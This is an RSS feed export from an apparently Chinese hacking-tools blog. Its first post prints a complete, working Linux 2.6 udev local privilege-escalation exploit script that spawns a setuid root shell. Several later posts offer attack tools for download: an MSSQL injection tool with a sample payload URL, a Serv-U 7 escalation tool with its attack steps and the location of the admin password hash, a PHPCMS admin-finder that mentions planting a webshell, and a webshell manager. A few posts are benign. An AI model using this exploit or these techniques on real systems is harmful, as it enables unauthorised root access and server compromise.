<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[NetKnave 's BLog]]></title> 
<link>http://www.netpk.org/blog/index.php</link> 
<description><![CDATA[黑夜给了我黑色的眼睛,我却用他来寻找美金!]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[NetKnave 's BLog]]></copyright>
<item>
<link>http://www.netpk.org/blog/read.php?477</link>
<title><![CDATA[Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Fri, 24 Apr 2009 08:07:26 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?477</guid> 
<description>
<![CDATA[ 
	Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit<br/><div class="code">#!/bin/sh<br/># Linux 2.6<br/># bug found by Sebastian Krahmer<br/>#<br/># lame sploit using LD technique <br/># by kcope in 2009<br/># tested on debian-etch,ubuntu,gentoo<br/># do a &#039;cat /proc/net/netlink&#039;<br/># and set the first arg to this<br/># script to the pid of the netlink socket<br/># (the pid is udevd_pid - 1 most of the time)<br/># + sploit has to be UNIX formatted text :)<br/># + if it doesn&#039;t work the 1st time try more often<br/>#<br/># WARNING: maybe needs some FIXUP to work flawlessly<br/>## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang<br/><br/>cat &gt; udev.c &lt;&lt; _EOF<br/>#include &lt;fcntl.h&gt;<br/>#include &lt;stdio.h&gt;<br/>#include &lt;string.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;unistd.h&gt;<br/>#include &lt;dirent.h&gt;<br/>#include &lt;sys/stat.h&gt;<br/>#include &lt;sysexits.h&gt;<br/>#include &lt;wait.h&gt;<br/>#include &lt;signal.h&gt;<br/>#include &lt;sys/socket.h&gt;<br/>#include &lt;linux/types.h&gt;<br/>#include &lt;linux/netlink.h&gt;<br/><br/>#ifndef NETLINK_KOBJECT_UEVENT<br/>#define NETLINK_KOBJECT_UEVENT 15<br/>#endif<br/><br/>#define SHORT_STRING 64<br/>#define MEDIUM_STRING 128<br/>#define BIG_STRING 256<br/>#define LONG_STRING 1024<br/>#define EXTRALONG_STRING 4096<br/>#define TRUE 1<br/>#define FALSE 0<br/><br/>int socket_fd;<br/>struct sockaddr_nl address;<br/>struct msghdr msg;<br/>struct iovec iovector;<br/>int sz = 64*1024;<br/><br/>main(int argc, char **argv) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char sysfspath&#91;SHORT_STRING&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char subsystem&#91;SHORT_STRING&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char event&#91;SHORT_STRING&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char major&#91;SHORT_STRING&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char minor&#91;SHORT_STRING&#93;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(event, &quot;add&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(subsystem, &quot;block&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(sysfspath, &quot;/dev/foo&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(major, &quot;8&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(minor, &quot;1&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(&amp;address, 0, sizeof(address));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;address.nl_family = AF_NETLINK;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;address.nl_pid = atoi(argv&#91;1&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;address.nl_groups = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_name = (void*)&amp;address;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_namelen = sizeof(address);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_iov = &amp;iovector;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_iovlen = 1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bind(socket_fd, (struct sockaddr *) &amp;address, sizeof(address));<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char message&#91;LONG_STRING&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char *mp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp = message;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;%s@%s&quot;, event, sysfspath) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;ACTION=%s&quot;, event) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;DEVPATH=%s&quot;, sysfspath) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;MAJOR=%s&quot;, major) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;MINOR=%s&quot;, minor) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;SUBSYSTEM=%s&quot;, subsystem) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &quot;LD_PRELOAD=/tmp/libno_ex.so.1.0&quot;) +1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iovector.iov_base = (void*)message;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iovector.iov_len = (int)(mp-message);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char *buf;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int buflen;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = (char *) &amp;msg;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buflen = (int)(mp-message);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sendmsg(socket_fd, &amp;msg, 0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(socket_fd);<br/><br/>&nbsp;&nbsp;sleep(10);<br/>&nbsp;&nbsp;execl(&quot;/tmp/suid&quot;, &quot;suid&quot;, (void*)0);<br/>&#125;<br/><br/>_EOF<br/>gcc udev.c -o /tmp/udev<br/>cat &gt; program.c &lt;&lt; _EOF<br/>#include &lt;unistd.h&gt;<br/>#include &lt;stdio.h&gt;<br/>#include &lt;sys/types.h&gt;<br/>#include &lt;stdlib.h&gt;<br/><br/>void _init()<br/>&#123;<br/> setgid(0);<br/> setuid(0);<br/> unsetenv(&quot;LD_PRELOAD&quot;);<br/> execl(&quot;/bin/sh&quot;,&quot;sh&quot;,&quot;-c&quot;,&quot;chown root:root /tmp/suid; chmod +s /tmp/suid&quot;,NULL);<br/>&#125;<br/><br/>_EOF<br/>gcc -o program.o -c program.c -fPIC<br/>gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles<br/>cat &gt; suid.c &lt;&lt; _EOF<br/>int main(void) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setgid(0); setuid(0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; execl(&quot;/bin/sh&quot;,&quot;sh&quot;,0); &#125;<br/>_EOF<br/>gcc -o /tmp/suid suid.c<br/>cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0<br/>/tmp/udev $1<br/><br/></div><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=linux" rel="tag">linux</a> , <a href="http://www.netpk.org/blog/tag.php?tag=kernel" rel="tag">kernel</a> , <a href="http://www.netpk.org/blog/tag.php?tag=2.6" rel="tag">2.6</a> , <a href="http://www.netpk.org/blog/tag.php?tag=udev" rel="tag">udev</a> , <a href="http://www.netpk.org/blog/tag.php?tag=local" rel="tag">local</a> , <a href="http://www.netpk.org/blog/tag.php?tag=privilege" rel="tag">privilege</a> , <a href="http://www.netpk.org/blog/tag.php?tag=escalation" rel="tag">escalation</a> , <a href="http://www.netpk.org/blog/tag.php?tag=exploit" rel="tag">exploit</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?475</link>
<title><![CDATA[sql_2005_inj 0.2 Final [Code By kook1991]]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Mon, 16 Feb 2009 01:44:46 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?475</guid> 
<description>
<![CDATA[ 
	来源：WEB安全手册<br/><br/>sql_2005_inj 0.2 Final Code By kook1991 [Sql 2005 Injector Updated by kook E-Mail:7c7c7c7@gmail.com]<br/><br/>[1] What's Sql 2005 Injector?<br/><br/>http://www.pcsec.org/archives/sql-2005-inj-gui.html Updated<br/>[2]What's it can do?<br/><br/>It's used to Sql injection MSSQL 2005 & 2008.<br/>[3]What is its working theory?<br/><br/>Please Read:<br/>http://www.pcsec.org/archives/SFX-SQLi-A-new-SQL-injection-technique-for-MSSQL-dumps-a-table-in-one-request.html<br/><br/>[4]How to use?<br/><br/>Example Url:<br/><br/>http://localhost/newsview.asp?id=0/**/union/**/select/**/1,2,3,4,5,6,[k],8<br/><br/>Replace the field which can be displayed on the page with [k].<br/><a href="http://huaidan.org/wp-content/uploads/2009/02/sql_2005_inj-02-final-402x300.gif" target="_blank"><img src="http://huaidan.org/wp-content/uploads/2009/02/sql_2005_inj-02-final-402x300.gif" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="http://huaidan.org/wp-content/uploads/2009/02/sql_2005_inj_02_final.zip">点击这里下载文件</a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=sql_2005_inj" rel="tag">sql 2005 inj</a> , <a href="http://www.netpk.org/blog/tag.php?tag=0.2" rel="tag">0.2</a> , <a href="http://www.netpk.org/blog/tag.php?tag=final" rel="tag">final</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?466</link>
<title><![CDATA[serv-u7 local exploit php版]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Thu, 04 Dec 2008 06:21:49 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?466</guid> 
<description>
<![CDATA[ 
	by 空虚浪子心 http://www.inbreak.net<br/><br/>注：由于作者懒，没有提供日志清理功能，会留下日志：<br/><br/>一，su7是提权有几种方式？<br/>有两种形式去干掉su7。<br/>1>，登陆管理员控制台的页面<br/>==>获取OrganizationId，用于添加用户<br/>==>获取全局用户的“下一个新用户ID”<br/>==>添加用户<br/>==>添加用户的权限 or 添加全局用户权限<br/>==>用户登陆<br/>==>执行系统命令添加系统账户。<br/><br/>2>，登陆管理员控制台页面<br/>==>基本WEB客户端<br/>==>来到serv-u的目录下--users--Global user目录<br/>==>上传一个你已经定义好的用户文件<br/>==>用户登陆<br/>==>执行系统命令添加系统账户<br/>而本文件使用了第一种方法。<br/><br/>二，提权的原理？<br/>Su7的管理平台是http的，很先进。<br/>抓包，分析，发现了以下路程是可以利用的。<br/>1，&nbsp;&nbsp;&nbsp;&nbsp;管理员从管理控制台打开web页面时，是不需要验证密码的。<br/>2，&nbsp;&nbsp;&nbsp;&nbsp;管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”<br/>3，&nbsp;&nbsp;&nbsp;&nbsp;管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。<br/>4，&nbsp;&nbsp;&nbsp;&nbsp;管理员添加了用户的这个包和设置权限这个包，是分开的。<br/>所以，我可以抓包然后转换成php的socket连接post出去。<br/>最后在用经典的ftp登陆，exec命令。达到提权。<br/>在写php的过程中，遇到很多问题，比如函数不会用等等（—_—!以前没学过php），感谢“云舒牛”帮忙。。。<br/>在分析包的流程，发现了一些特征，服务器返回的数据，全是以xml格式发来的。而在数据传输的过程中，设计的很经典。<br/>Su7也有自己的数据库，他也会自己生成一个id。<br/>这个ID是随机的，在你创建用户时，会先请求服务器生成一个，生成好后，修改该id的用户名，密码等。<br/>这很像oracle的insert手段。<br/><br/>写工具的过程中，遇到很多麻烦，最大的麻烦就是这个ID问题，后来分析出来了。<br/>添加权限时，也是可以利用这个ID的。<br/>于是工具一共连接了6次服务器，这几次分别是：<br/>1，&nbsp;&nbsp;&nbsp;&nbsp;用来登陆平台，使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid，这个sessionid在以后的包都用到了。<br/>2，&nbsp;&nbsp;&nbsp;&nbsp;获取OrganizationId，用于添加用户<br/>3，&nbsp;&nbsp;&nbsp;&nbsp;用来请求一个用户ID。<br/>4，&nbsp;&nbsp;&nbsp;&nbsp;修改该ID的登陆用户名，密码。<br/>5，&nbsp;&nbsp;&nbsp;&nbsp;修改该ID的权限，加c盘的写删执行等。<br/>6，&nbsp;&nbsp;&nbsp;&nbsp;这次连接是做坏事的，使用前面添加的用户执行系统命令。<br/><br/>三，为啥我明明显示成功了，但是却提不上去？<br/>这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。<br/>一般有以下几种情况：<br/>1，可能是因为管理员密码不对。<br/>参照管理员密码的连接。<br/>2，可能是因为管理员限制了执行SITE EXEC。<br/>有待程序修改，程序可以加一个让他不限制的功能。<br/>3，可能是程序问题。<br/>4，为啥作者有这么多理由不去改？<br/>你没发现么？一旦把东西做完美了，那比较系统的防御方案就出来了。<br/>如果不完美，让他以为我们就这点手段，防御系统也会这么认为。<br/>不信的话，过段时间，防御方案出来了，肯定有一条：“修改site exec为不可访问”。<br/>到时候，我再写个功能，把这玩意改回来就是。<br/>所以，等大家都提倡要XXXX的时候，我再解决XXXX的问题。大家先这么玩着吧:)<br/><br/>四，关于管理员密码<br/><br/>默认为空，如果密码为空，填什么都能进去。<br/>如果修改过，管理员密码默认会在这里：<br/>C:&#92;Program Files&#92;RhinoSoft.com&#92;Serv-U&#92;Users&#92;Local Administrator Domain&#92;.Archive<br/>文件中找到一个MD5密码值。<br/>C:&#92;Program Files&#92;RhinoSoft.com&#92;Serv-U<br/>是su的根目录。<br/>密码值的样式为(假设是123456)<br/>kx#######################<br/>#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。<br/>破解后的密码为kx123456，去掉kx就是密码了。<br/>你可以针对这个加密生成字典。<br/><br/>下载地址：<a href="http://huaidan.org/wp-content/uploads/2008/12/su7_kxlzx10.rar" target="_blank">点我下载</a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=serv-u7" rel="tag">serv-u7</a> , <a href="http://www.netpk.org/blog/tag.php?tag=local" rel="tag">local</a> , <a href="http://www.netpk.org/blog/tag.php?tag=exploit" rel="tag">exploit</a> , <a href="http://www.netpk.org/blog/tag.php?tag=php%25E7%2589%2588" rel="tag">php版</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?461</link>
<title><![CDATA[SQL-Helper 1.0 (SQLCancer)]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Thu, 13 Nov 2008 08:40:59 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?461</guid> 
<description>
<![CDATA[ 
	作者：Reiluke(dsreiluke_at_gmail.com)<br/><br/><a href="http://pic.yupoo.com/sunlei/2269367bc3b6/deskp3r2.jpg" target="_blank"><img src="http://pic.yupoo.com/sunlei/2269367bc3b6/deskp3r2.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="attachment.php?fid=17">点击这里下载文件</a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=sql-helper" rel="tag">sql-helper</a> , <a href="http://www.netpk.org/blog/tag.php?tag=1.0" rel="tag">1.0</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%2528sqlcancer%2529" rel="tag">(sqlcancer)</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?452</link>
<title><![CDATA[PHPCMS2007爆路径及后台工具]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Sun, 28 Sep 2008 02:08:35 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?452</guid> 
<description>
<![CDATA[ 
	简单写了个工具。方便大家使用。主要是在存在注入的时候使用<br/>得到密码却找不到后台。可以帮你找到后台<br/>得到MD5破不出密码。可以帮你找到路径。读取数据库配置文件。或许这个明文密码就是后台密码。也可以用来社工进一步渗透。<br/>或者可以备份shell 到爆出来的路径<br/><br/>呵呵。喜欢就顶起。。。。。<br/><br/><a href="http://neeao.com/blog/attachments/200809/27_175605_phpcms20071.jpg" target="_blank"><img src="http://neeao.com/blog/attachments/200809/27_175605_phpcms20071.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://neeao.com/blog/attachments/200809/27_175609_phpcms20072.jpg" target="_blank"><img src="http://neeao.com/blog/attachments/200809/27_175609_phpcms20072.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="http://neeao.com/blog/attachments/200809/27_175641_phpcms_get_admin.rar" target="_blank">点我下载</a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=phpcms2007" rel="tag">phpcms2007</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E7%2588%2586%25E8%25B7%25AF%25E5%25BE%2584" rel="tag">爆路径</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E5%2590%258E%25E5%258F%25B0" rel="tag">后台</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?447</link>
<title><![CDATA[Adobe Flash Player 10.0.12.10 RC]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Tue, 16 Sep 2008 05:17:05 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?447</guid> 
<description>
<![CDATA[ 
	Adobe Flash Player是一款高性能的、轻量型且极具表现力的客户端运行时播放器, 能够在各种主流操作系统、浏览器、移动电话和移动设备上提供功能强大且一致的用户体验.<br/>The beta contains several new features:<br/>* Support for H.264 video and HE-AAC audio codecs .<br/>* Enhancements to full-screen mode to use hardware scaling for improved video performance and quality on systems running Windows 2000 and newer or Mac OS X 10.2 and newer.<br/>* Faster rendering of vector graphics on multi-core CPUs.<br/>* Higher quality and performance for downscaling large bitmaps (SWF 9 only).<br/>* Support for caching common platform components, such as the Flex framework, to reduce average application sizes. This feature is enabled in the Flex 3 beta available on Adobe Labs.<br/>* Support for full-screen mode on Linux.<br/><br/>Also included in this update:<br/>* Recursive calling to and from JavaScript via the ExternalInterface API is now permitted (not available in Opera or Netscape).<br/>* Runtime errors can now be thrown from JavaScript to ActionScript via the External Interface API.<br/>* HTTP requests from the Flash Player ActiveX Control in some versions of Internet Explorer did not include the Accept-Language header. The ActiveX Control now always inserts this header.<br/>* Support for Microsoft Active Accessibility (MSAA) in the Windows plug-in.<br/><br/><br/><a href="http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_install_plugin_091508.exe" target="_blank">Adobe Flash Player 10.0.12.10 RC for Windows</a><br/><a href="http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_install_linux_091508.tar.gz" target="_blank">Adobe Flash Player 10.0.12.10 RC for Linux</a> <br/><a href="http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_install_ub_091508.dmg.zip" target="_blank">Adobe Flash Player 10.0.12.10 RC for MacOS</a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=adobe" rel="tag">adobe</a> , <a href="http://www.netpk.org/blog/tag.php?tag=flash" rel="tag">flash</a> , <a href="http://www.netpk.org/blog/tag.php?tag=player" rel="tag">player</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?408</link>
<title><![CDATA[阻止网页挂马的若干工具收藏]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Wed, 25 Jun 2008 07:56:04 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?408</guid> 
<description>
<![CDATA[ 
	上个blog中提到国内网站被挂马的常见原因是SQL注入攻击。<br/><br/>那么，除了在Web开发的时候注意以外，有什么有效的工具可以对抗SQL注入攻击？<br/><br/>今天，微软和惠普的安全部门合作发布了三个工具，分别是：<br/><br/>微软SQL注入攻击源码扫描器：Microsoft Source Code Analyzer for SQL Injection (MSCASI)。这个工具给网站开发人员使用。是一个静态扫描ASP代码的工具，可以查找发现第一类和第二类的SQL注入攻击漏洞。工具下载地址：<br/><br/>http://support.microsoft.com/kb/954476<br/><br/>惠普的 Scrawlr工具。这个工具可以被网站的维护人员使用，是一个黑箱扫描工具，不需要源代码。指定起始URL开始扫描。确定是不能准确定位代码的漏洞（因为是黑箱测试）。工具下载地址：<br/><br/>http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx<br/><br/>微软的URLScan 3.0 Beta。这个工具可以被网站的维护人员使用。它是一个输入过滤工具。如果你发现网站被SQL注入工具，你可以在一边修补代码漏洞的同时，使用这个攻击在过滤掉恶意的输入。当然，修补代码中的漏洞是完全避免SQL注入攻击的真正解决方案。工具下载地址：<br/><br/>http://blogs.iis.net/wadeh/archive/2008/06/05/urlscan-v3-0-beta-release.aspx<br/><br/>SWI的博客上有更进一步的描述。http://blogs.technet.com/swi/archive/2008/06/24/new-tools-to-block-and-eradicate-sql-injection.aspx<br/><br/>那么，这三个工具是如何配合使用的？下面给出一个例子。<br/><br/>步骤一：网站的维护人员使用Scrawlr扫描网站，检查是否存在SQL注入漏洞<br/><br/>步骤二：发现存在漏洞后，通知开发人员。开发人员使用MSCASI对ASP源码静态扫描来确定代码中什么地方导致的SQL注入攻击漏洞。<br/><br/>步骤三：在开发人员修补漏洞的同时，维护人员可以使用URLScan来过滤可能的恶意输入，以确保网站的安全。<br/><br/>这三个工具的配合使用可以很大程度上减少网站被挂马的可能。说实话，现在被挂马的网站实在是太多了！<br/><br/>from：褚诚云blog
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?404</link>
<title><![CDATA[WSC(WebShellControl)新版发布]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Sun, 08 Jun 2008 15:05:39 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?404</guid> 
<description>
<![CDATA[ 
	桂林老兵出品 http://www.gxgl.com/?id=37<br/><br/>注意:旧版数据库需要升级,把update.exe放在同目录下运行升级即可。<br/><br/>Shell备注处怎么填?<br/>=>asp脚本<br/>ADO数据库:Driver=&#123;Sql Server&#125;;Server=(local);Database=master;Uid=sa;Pwd=pass &#124; 其它信息；<br/><br/>=>php脚本<br/>MYSQL数据库:localhost &#124; root &#124; pass &#124; 其它信息；<br/>INFOMIX和ORACLE数据库: db(sid) &#124; dbuser &#124; dbpass &#124; 其它信息。<br/><br/>其它信息处可填项:<br/>1,附加POST项:&#124;P>action=login&id=1；<br/>2,无后缀脚本类型: 如SHELL地址最后的文件名是index.asp,index.php可去掉,在其它信息处标明脚本类型即可,如:&#123;asp&#125;,&#123;php&#125;。<br/><br/>特色:<br/>方便的数据库操作和文件操作功能。<br/><br/>更多更新,敬请关注http://www.gxgl.com/发布的更新信息。<br/><br/>部份效果图:<br/><a href="http://www.gxgl.com/UpFiles/080608043158.gif" target="_blank"><img src="http://www.gxgl.com/UpFiles/080608043158.gif" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><br/><br/><a href="attachment.php?fid=8">点击这里下载文件</a><br/>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?378</link>
<title><![CDATA[超级巡警文件暴力删除工具 v1.2]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Thu, 06 Mar 2008 00:35:22 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?378</guid> 
<description>
<![CDATA[ 
	一、超级巡警暴力文件删除器有三个功能：<br/><br/>1、暴力删除正在运行中的文件<br/>2、粉碎并删除被其他程序占用的文件<br/>3、粉碎后的文件无法使用数据恢复工具恢复<br/><br/>二、超级巡警暴力文件删除器主要解决如下问题：<br/><br/>1、遇到某个文件无法删除时，我们知道无法删除是被某个程序占用/锁定了，却不知道是哪个程序。<br/><br/>在该文件上点击右键，选择Sucop 暴力文件删除，此时会显示当前文件是被哪个程序占用/锁定了，点击解锁按钮，将对文件进行解锁，点击删除，将直接删除文件。<br/><a href="http://pic.yupoo.com/sunlei/70243530dcb7/e0z2vf56.jpg" target="_blank"><img src="http://pic.yupoo.com/sunlei/70243530dcb7/e0z2vf56.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>什么？你的右键上没有Sucop 暴力文件删除？启动一下FileForceKiller.exe ，程序会自动注册鼠标右键。<br/><br/>2、木马/流氓软件删除不掉，删除后又生成。<br/><br/>启动FileForceKiller.exe，将相关文件拖拽到界面上，勾选强力阻止文件再生，然后点击暴力删除。此时被删除的文件无法在重生，本程序会自动生成一个同名文件并锁定该文件。(也可以CTRL+V直接将木马路径粘贴到列表中)<br/><a href="http://pic.yupoo.com/sunlei/95576530dcba/7hg0wpn1.jpg" target="_blank"><img src="http://pic.yupoo.com/sunlei/95576530dcba/7hg0wpn1.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>3、重要/机密文档/照片销毁时，直接在文件上点击右键，选择Sucop 暴力文件删除，然后在弹出的窗口中选择删除。删除后的文件无法使用数据恢复工具恢复。<br/><br/>更多功能说明详见下面说明，相信这个小工具会成为您的好帮手：)<br/><br/>超级巡警暴力文件删除器(FileForceKiller) V1.2<br/><br/>大成天下-数据安全实验室(DSW LABS) 出品<br/><br/>本工具采用内核技术删除文件，能删除运行中文件或者被占用文件，可以用来查看文件被哪些程序占用，也可以在病毒分析中对一些顽固病毒木马衍生文件的删除。<br/><br/>本软件产品为免费软件，用户可以非商业性地下载、安装、复制和散发本软件产品。如果需要进行商业性的销售、复制和散发，必须获得DSWLAB的授权和许可，商业公司及团队使用本软件必须获得DSWLAB的授权和许可。<br/><br/>V1.2新增功能:<br/><br/>1.支持对目录的删除。<br/>2.新增记忆勾选配置信息，使您使用更方便。<br/>3.增强程序稳定性。<br/>4.提高程序效率，对文件的解锁删除速度更快。<br/>5.界面改动，更易用，右键更方便<br/><br/>详细功能说明如下：<br/><br/>1.拖拽文件或者点击"添加文件"按钮可添加文件到删除列表。<br/><br/>2.复制要删除的文件列表，粘贴(Ctrl + V)到删除列表。<br/><br/>3.勾选"强力阻止文件再生"，可以阻止病毒木马再释放同名文件。<br/><br/>4.勾选"不删除有数字签名的文件"，则会忽略对有数字签名文件的删除操作。<br/><br/>5.勾选"解锁后删除"，则会在删除文件前尝试对文件进行解锁操作，这样更能确保成功删除文件。<br/><br/>6.勾选"删除前备份(.bak)"，可以在删除前把您的文件备份为.bak文件，防止您误操作，以供您恢复用。<br/><br/>7.勾选"窗口置顶"，可以使窗口总出现在桌面的最上方。<br/><br/>8.勾选"注册Shell右键菜单"，可以注册系统右键菜单(Sucop 